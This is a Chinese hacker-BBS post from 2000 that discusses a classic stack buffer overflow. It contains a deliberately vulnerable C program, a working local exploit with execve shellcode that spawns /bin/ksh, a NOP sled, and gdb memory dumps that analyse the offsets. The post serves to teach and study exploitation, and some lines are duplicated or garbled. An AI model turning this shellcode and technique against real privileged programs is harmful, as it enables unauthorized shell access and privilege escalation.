荔园在线
荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀
[回到开始]
[上一篇][下一篇]
发信人: bstone (无心伤害), 信区: Hacker
标 题: shellcode延伸讨论
发信站: BBS 荔园晨风站 (Fri Mar 17 21:02:03 2000), 站内信件
发信人: cloudsky (小四), 信区: Security
标 题: shellcode延伸讨论
发信站: 武汉白云黄鹤站 (Thu Mar 9 21:40:40 2000), 站内信件
1. 一个问题程序overflow.c
/* gcc -g -ggdb -static -o overflow overflow.c */
int main ( int argc, char * argv[] )
{
char buffer[ 256 ] = "";
if ( argc > 1 )
{
strcpy( buffer, argv[1] );
puts( buffer );
}
else
{
puts( "Argv[1] needed!" );
}
return 0;
}
2. 溢出攻击程序overflow_ex.c
2. 溢出攻击程序overflow_ex.c
/* gcc -g -ggdb -static -o overflow_ex overflow_ex.c */
#define BUFFER_SIZE 256
#define DEFAULT_OFFSET 64
unsigned long get_esp ()
{
__asm__
("
movl %esp, %eax
");
}
int main ( int argc, char * argv[] )
{
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x09\x31\xc0\x88\x46\x08\x89\x46\x0d\xb0\x0b"
"\x89\xf3\x8d\x4e\x09\x8d\x56\x0d\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/ksh";
char * buffer = 0;
unsigned long * pAddress = 0;
char * pChar = 0;
int i;
int offset = DEFAULT_OFFSET;
if ( argc > 1 ) /* 就懒得做命令行参数检查了 */
{
offset = atoi( argv[1] );
}
buffer = ( char * )malloc( BUFFER_SIZE * 2 + 1 );
if ( buffer == 0 )
{
puts( "Can't allocate memory" );
exit( 0 );
}
pChar = buffer;
/* fill start of buffer with nops */
memset( pChar, 0x90, BUFFER_SIZE - strlen( shellcode ) );
pChar += ( BUFFER_SIZE - strlen( shellcode ) );
/* stick asm code into the buffer */
/* stick asm code into the buffer */
for ( i = 0; i < strlen( shellcode ); i++ )
{
*( pChar++ ) = shellcode[ i ];
}
pAddress = ( unsigned long * )pChar;
for ( i = 0 ; i < ( BUFFER_SIZE / 4 ); i++ )
{
*( pAddress++ ) = get_esp() + offset; /* 返回地址 */
}
pChar = ( char * )pAddress;
*pChar = 0;
execl( "/home/scz/src/overflow", "/home/scz/src/overflow", buffer, 0 );
return 0;
}
[scz@ /home/scz/src]> gcc -g -ggdb -static -o overflow overflow.c
[scz@ /home/scz/src]> gcc -g -ggdb -static -o overflow_ex overflow_ex.c
[scz@ /home/scz/src]> ./overflow_ex -800 (溢出失败)
Segmentation fault (core dumped)
[scz@ /home/scz/src]> ./overflow_ex -700 (溢出成功)
[scz@ /home/scz/src]> ./overflow_ex 0 (溢出成功)
[scz@ /home/scz/src]> ./overflow_ex 64 (溢出成功)
[scz@ /home/scz/src]> ./overflow_ex 64 (溢出成功)
(也是缺省值,值得注意的是64前后的值效果差别很大,比如59可以成功,但58/60全部失?
[scz@ /home/scz/src]> ./overflow_ex 65 (溢出失败)
Illegal instruction (core dumped)
[scz@ /home/scz/src]>
可以看出,有些是指针指向不可访问区域导致段溢出,有些是返回地址指向的
区域不包含有效Intel CPU指令(实际就是无法正确反汇编出正常指令)。具体的
offset应该为多少,这个和overflow.c/overflow_ex.c以及编译选项有关。
这次的例子一般在-179 <--> +31之间就很好,我说的是普通用户,如果是root,
offset取值范围的变化还是很明显的。
3. 下面我们用gdb来看看发生了什么事
[scz@ /home/scz/src]> gdb ./overflow_ex
GNU gdb 4.17.0.11 with Linux support
This GDB was configured as "i386-redhat-linux"...
(gdb) disas main
Dump of assembler code for function main:
0x80481a8 <main>: pushl %ebp
0x80481a9 <main+1>: movl %esp,%ebp
0x80481ab <main+3>: subl $0x48,%esp
0x80481ab <main+3>: subl $0x48,%esp
0x80481ae <main+6>: pushl %edi
0x80481af <main+7>: pushl %esi
0x80481b0 <main+8>: pushl %ebx
... ...
0x80482f2 <main+330>: movl 0xffffffc8(%ebp),%eax
0x80482f5 <main+333>: movl %eax,0xffffffc4(%ebp)
0x80482f8 <main+336>: movl 0xffffffc4(%ebp),%eax
0x80482fb <main+339>: movb $0x0,(%eax)
0x80482fe <main+342>: pushl $0x0
0x8048300 <main+344>: movl 0xffffffcc(%ebp),%eax
0x8048303 <main+347>: pushl %eax
0x8048304 <main+348>: pushl $0x806f645
0x8048309 <main+353>: pushl $0x806f645
0x804830e <main+358>: call 0x804d390 <execl>
0x8048313 <main+363>: addl $0x10,%esp
0x8048316 <main+366>: xorl %eax,%eax
0x8048318 <main+368>: jmp 0x8048320 <main+376>
0x804831a <main+370>: leal 0x0(%esi),%esi
0x8048320 <main+376>: leal 0xffffffac(%ebp),%esp
0x8048323 <main+379>: popl %ebx
0x8048324 <main+380>: popl %esi
0x8048325 <main+381>: popl %edi
0x8048325 <main+381>: popl %edi
0x8048326 <main+382>: leave
0x8048327 <main+383>: ret
End of assembler dump.
(gdb) list 46,56
46 *( pChar++ ) = shellcode[ i ];
47 }
48 pAddress = ( unsigned long * )pChar;
49 for ( i = 0 ; i < ( BUFFER_SIZE / 4 ); i++ )
50 {
51 *( pAddress++ ) = get_esp() + offset; /* 返回地址 */
52 }
53 pChar = ( char * )pAddress;
54 *pChar = 0;
55 execl( "/home/scz/src/overflow", "/home/scz/src/overflow", buffer,
);
56 return 0;
(gdb) break 55
Breakpoint 1 at 0x80482fe: file overflow_ex.c, line 55.
(gdb) run
Starting program: /home/scz/src/./overflow_ex
Breakpoint 1, main (argc=1, argv=0xbffffd94) at overflow_ex.c:55
Breakpoint 1, main (argc=1, argv=0xbffffd94) at overflow_ex.c:55
55 execl( "/home/scz/src/overflow", "/home/scz/src/overflow", buffer,
);
(gdb) p buffer < ---- 八进制的\220就是0x90,NOP指令
$1 = 0x8079da8 '\220' <repeats 200 times>...
(gdb) x/513bx 0x8079da8
0x8079da8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 < -
-- NOP指令
... ...
0x8079e78: 0x90 0x90 0xeb 0x1f 0x5e 0x89 0x76 0x09
0x8079e80: 0x31 0xc0 0x88 0x46 0x08 0x89 0x46 0x0d
0x8079e88: 0xb0 0x0b 0x89 0xf3 0x8d 0x4e 0x09 0x8d
0x8079e90: 0x56 0x0d 0xcd 0x80 0x31 0xdb 0x89 0xd8
0x8079e98: 0x40 0xcd 0x80 0xe8 0xdc 0xff 0xff 0xff
0x8079ea0: 0x2f 0x62 0x69 0x6e 0x2f 0x6b 0x73 0x68 < -
-- shellcode到此结束
0x8079ea8: 0x28 0xfd 0xff 0xbf 0x28 0xfd 0xff 0xbf < -
-- 用于覆盖的返回地址
... ... 这个地址在offset缺省等于64的情况下是0xbffffd28
0x8079fa0: 0x28 0xfd 0xff 0xbf 0x28 0xfd 0xff 0xbf
0x8079fa8: 0x00
(gdb) inf reg
... ...
... ...
esp: 0xbffffcf0 -1073742608 < ---- 注意到esp是0xbffffcf0,0xbffffd28 - 64
0xbffffce8
应该意识到malloc是在heap中申请空间,而静
勘淞?
是在stack中分配空间。
ebp: 0xbffffd44 -1073742524
... ...
eip: 0x80482fe 134513406
... ...
(gdb) p &offset < ---- 最后一个局部变量,esp与&offset之间还有16个字节
$2 = (int *) 0xbffffd00
(gdb) p &i
$3 = (int *) 0xbffffd04
(gdb) p &buffer
$4 = (char **) 0xbffffd10
(gdb) p &shellcode < ---- 第一个局部变量,注意内存空间的分配方向
$5 = (char (*)[47]) 0xbffffd14
(gdb) x/20bx $esp+16
0xbffffd00: 0x40 0x00 0x00 0x00 0x40 0x00 0x00 0x00
0xbffffd08: 0xa8 0x9f 0x07 0x08 0xa8 0x9f 0x07 0x08
0xbffffd10: 0xa8 0x9d 0x07 0x08
0xbffffd10: 0xa8 0x9d 0x07 0x08
(gdb) x/46bx $esp+16+20 < ---- 5个局部变量总共20字节,这里开始的是shellcode
0xbffffd14: 0xeb 0x1f 0x5e 0x89 0x76 0x09 0x31 0xc0
0xbffffd1c: 0x88 0x46 0x08 0x89 0x46 0x0d 0xb0 0x0b
0xbffffd24: 0x89 0xf3 0x8d 0x4e 0x09 0x8d 0x56 0x0d
0xbffffd2c: 0xcd 0x80 0x31 0xdb 0x89 0xd8 0x40 0xcd
0xbffffd34: 0x80 0xe8 0xdc 0xff 0xff 0xff 0x2f 0x62
0xbffffd3c: 0x69 0x6e 0x2f 0x6b 0x73 0x68
(gdb)
$esp + 16 + 20 + 46 = 0xbffffd42
$ebp = 0xbffffd44
为什么会多出来两个字节呢,因为编译器考虑了大量的4字节对齐问题,这里
$ebp - $esp = 84
84是4的整数倍,而82不是的。
4. 观察overflow.c的源代码,如果$ebp也等于0xbffffd44的话,地址0xbffffd28是
位于正常的buffer[256]空间中的,这个位置将来会被NOP指令填充。如果offset
比64小,0xbffffd28也相应减小,还是位于NOP指令填充区。
假设通过execl调用的overflow流程中
$ebp = 0xbffffd44 ( 这个即使有偏差也不会很大 )
$ebp - 256 = 0xbffffc44 ( 给buffer[256]分配空间 )
0xbffffd28 - 64 - 0xbffffc44 = 164
0xbffffd44 - ( 0xbffffd28 - 64 ) = 92
就是说,按照这个推理,./overflow_ex -164应该溢出成功,而且
./overflow_ex 92也应该溢出成功,事实上后者溢出失败。不过这
里以64为基准研究不科学,应该是用0的,因为64前后都溢出失败,
说明64本身溢出成功不是简单地靠返回地址落入NOP区,而0的确是
靠返回地址落入NOP区溢出成功。64、59这些溢出点都是因为什么
机制而溢出成功的呢?因为目前我对gdb的调试功能研究不透彻,
无法调试execl出来的进程空间,没办法。
似乎可以考虑在overflow.c中增加sleep()调用,然后用ps找到PID,
然后利用attach功能来调试?没有尝试过多进程调试,很昏。
5. 现在我也开始不理解了,为什么 -700 这种offset也能溢出成功。
究竟这些非常规的溢出点,我是说和-179 <--> +31相比,为什么
能够溢出成功。总不成-700这种溢出点到了overflow_ex进程存在
时malloc出来的heap区,或许execl替换进程空间的时候并没有清
除以前进程空间里的数据,而那里有完整的用于溢出的代码,按照
除以前进程空间里的数据,而那里有完整的用于溢出的代码,按照
我这个假设,就是说offset总有两大段区域可供选择,在0附近和
-700附近分别有两个大约256字节宽度的NOP区。你们什么看法?
啊哈,要是我这个胡说八道成立,可以考虑在overflow_ex中先
malloc一堆无用空间,把heap区向高地址推进,避免overflow进程
中malloc破坏了overflow_ex进程残留下来的heap区数据,同时
保证overflow_ex中始终用malloc来构造shellcode,要是用固定
数组来构造shellcode,因为使用了stack区,估计很容易被破坏
掉。这样,我们可以选择的溢出点就多了一倍,要么进入常规溢
出点,要么加大粒度进入残留heap区,当然offset要向负方向增
长(根据get_esp后面是+还是-决定)。
可是59、64又该如何解释,碰巧有跳转指令么,那也太玄了,我倒。
归根结底还是我们不知道如何调试execl出来的进程,chat* sigh。
--
我问飘逝的风:来迟了?
风感慨:是的,他们已经宣战。
我问苏醒的大地:还有希望么?
大地揉了揉眼睛:还有,还有无数代的少年。
啊哈,要是我这个胡说八道成立,可以考虑在overflow_ex中先
我问长空中的英魂:你们相信?
英魂带着笑意离去:相信,希望还在。
※ 来源:.武汉白云黄鹤站 bbs.whnet.edu.cn.[FROM: 203.207.226.124]
--
☆ 来源:.BBS 荔园晨风站 bbs.szu.edu.cn.[FROM: bbs@192.168.28.23]
[回到开始]
[上一篇][下一篇]
荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店